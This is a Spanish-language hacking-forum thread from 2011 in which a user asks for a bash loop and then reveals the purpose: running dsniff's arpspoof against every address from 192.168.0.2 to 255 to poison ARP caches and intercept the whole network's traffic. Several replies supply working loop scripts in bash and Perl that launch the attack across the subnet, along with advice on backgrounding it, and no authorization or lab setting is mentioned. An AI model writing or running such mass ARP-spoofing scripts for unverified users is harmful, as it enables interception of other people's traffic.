elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Crear variable en bash
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Crear variable en bash  (Leído 8,098 veces)
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Crear variable en bash
« en: 3 Abril 2011, 18:24 pm »

Bueno Hola a todos espero que estén bien, les cuento tengo un comando que útilizo en linux es más o menos así

xxxxxx 192.168.0.1

el problema surge que me gustaria para poder facilitar mi trabajo crear un variable más o menos así

xxxxxx 192.168.0.X

en donde X=son numeros desde el 1 hasta el 255

creo que es algo demasiado facil, pero no sé nada de .sh si pudieran tenderme solo esa mano se los agradeceria Muchas gracias :D


« Última modificación: 3 Abril 2011, 18:26 pm por bikutoru123 » En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #1 en: 3 Abril 2011, 20:25 pm »

Mira, te pongo de ejemplo el siguiente sencillo script.

Código
  1. #!/bin/bash
  2. echo -e "Argumento : $1";
  3.  

Y ahora, si queremos pasarle como parámetros los números del 1 al 254:


Código
  1. for i in `seq 1 1 254`; do bash shell.sh $i; done
  2.  
Código
  1. for((i = 1; i < 254; i++)) do bash shell.sh $i; done

Siendo shell.sh el script de arriba y $i la variable que le paso.

Cualquier duda me dices y lo aclaramos más.


En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #2 en: 3 Abril 2011, 21:07 pm »

Muchas gracias por tu rápida respuesta :)
1)todo bien pero sabes cuando lo ejecuto me sale solo argumento:1 hacia abajo y no cambia la variable
2)otra cosa que significa echo -e y si quiero lanzar un comando debe ir el echo con -e

Muchas gracias :D
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #3 en: 3 Abril 2011, 23:46 pm »

Mejor pon el contenido del script que quieres ejecutar.
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #4 en: 4 Abril 2011, 19:26 pm »

Citar
Perfecto, 1ero que todo darte las gracias por que los demás moderadores no son así  ;-)
tu ayudas, no me sugieres google ni aprender a codear sin darme una solución xD
Bueno creo que el código que necesito podrá ser de ayuda para muchos
el comando que necesito ejecutar es una herramienta del pack dsniff:
el comando realiza un envenenamiento de ARP (man in the midle) pero seria mucho más comodo que el comando cubriera todas las conexiones por decirlo de un modo.
el comando a seguir es:

arpspoof -i interface -t ipdecliente ipdelrouter

en mi caso sería así

arpspoof -i wlan0 -t 192.168.0.102 192.168.0.1

el problema surge en que la ipdelcliente se puede enviar una sola, siendo lo ideal desde 2 hasta 255 (192.168.0.x) x=2 hasta 255

*al ejecutarse tal programa la consola en que se lanzó queda inutilizable, ya que está constantemente mostrandonos un msj en resumen que nos afirma que se está realizando tal comando, por lo que seria óptimo para su funcionamiento del script que se pudiera ejecutar tales ordenes en terminales distintas aunque por preferencia que fuera en solapas distintas

Bueno de alguna manera te plasmo la idea para que me entiendas mejor, no se codear pero dejemos que mi idea es un esquema :D

Citar
x=2
PASO1
si x=255 ir a PASO2
ejecutar en una nueva consola este comando:
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
x=se le suma +1 del valor anterior de x
ir a PASO1
PASO2
Terminar el script

Con palabras:

la idea es que se abra una consola nueva con este comando
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
en donde x parte como dos y luego tres,cuatro así sucesivamente hasta llegar hasta 255 luego de eso se termina el script

ya no sabría como explicártelo :B
espero que lo entiendas,disculpa por complicarte por no saber codear
Gracias

« Última modificación: 4 Abril 2011, 19:32 pm por bikutoru123 » En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #5 en: 4 Abril 2011, 22:57 pm »

Mira, podríamos usar algo sencillito como esto:

Código
  1. #!/bin/bash
  2. for((i = 2; i < 255; i++))
  3. do
  4. arpspoof -i wlan0 -t 192.168.0.$i 192.168.0.1
  5. done
  6.  
  7.  
y eso ejecutarlo en modo background para que no te deje indispuesta la consola.


Código:
[leo@archero Desktop]$ cat shell.sh 
#!/bin/bash
for((i = 2; i < 255; i++))
do
echo arpspoof -i wlan0 -t 192.168.0.$i 192.168.0.1
done
[leo@archero Desktop]$ bash shell.sh &

bash shell.sh &
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
D4RIO


Desconectado Desconectado

Mensajes: 1.004


U N I X


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #6 en: 6 Abril 2011, 16:18 pm »

Hola bikutoru123, hola Leo:

AFAIK, el bucle 'for' que propones no es portable, aunque no creo que importe dependiendo el linux para el que se quiera. Incluso el comando seq no se haya en muchos Unixes.

Pongo una alternativa para bucles que me ha funcionado en AIX 5.2 y con varios shells. No es nada raro, se trata de meter Perl:

Código
  1. #!/bin/sh
  2. for X in $(perl -e 'foreach (2..255){print $_,"\n";}'); do
  3.  
  4.    arpspoof -i wlan0 -t 192.168.0.$X 192.168.0.1
  5.  
  6. done

Hasta se podría meter en una funcion seq() en los shells que no lo tienen.

Saludos
En línea

OpenBSDFreeBSD
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #7 en: 6 Abril 2011, 22:08 pm »

Sí, también puedes usar la solución de xD4RIOx, su equivalente en bash es:

Código
  1. #!/bin/bash
  2. for X in `echo {2..254}`; do
  3.    arpspoof -i wlan0 -t 192.168.0.$X 192.168.0.1
  4. done
  5.  
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #8 en: 9 Abril 2011, 18:15 pm »

Excelente, me funcionó a la perfección, pondré una entrada del arpspoff en mi blog dandole poniendo sus créditos obviamente, excelente amigos sigan así
 PD: me quedó una pequeña duda... para ejecutarlo en modo background es agregandole el símbolo $

EJ: Bash shell.sh $

En fin es Muchas gracias :D
« Última modificación: 9 Abril 2011, 18:19 pm por bikutoru123 » En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
leogtz
. . .. ... ..... ........ ............. .....................
Colaborador
***
Desconectado Desconectado

Mensajes: 3.069


/^$/


Ver Perfil WWW
Re: Crear variable en bash
« Respuesta #9 en: 9 Abril 2011, 18:41 pm »

No, el símbolo es &.
En línea

Código
  1. (( 1 / 0 )) &> /dev/null || {
  2. echo -e "stderrrrrrrrrrrrrrrrrrr";
  3. }
  4.  
http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[BASH]Simplemente guardar string en una variable « 1 2 »
Scripting
illera88 11 17,129 Último mensaje 3 Enero 2011, 06:33 am
por leogtz
Problema script bash ruta de directorio en variable
Scripting
InuKen 4 6,746 Último mensaje 14 Mayo 2011, 00:46 am
por leogtz
[Bash]Tratar variable vacía case [Resuelto]
Scripting
hervasiop12345 4 5,931 Último mensaje 8 Julio 2011, 17:45 pm
por hervasiop12345
[Bash] Restar caracteres a una variable
Scripting
hervasiop12345 1 5,080 Último mensaje 11 Agosto 2011, 22:47 pm
por leogtz
Se puede crear una variable como la %random%?
Scripting
By Ema lml 1 2,754 Último mensaje 30 Noviembre 2013, 09:07 am
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines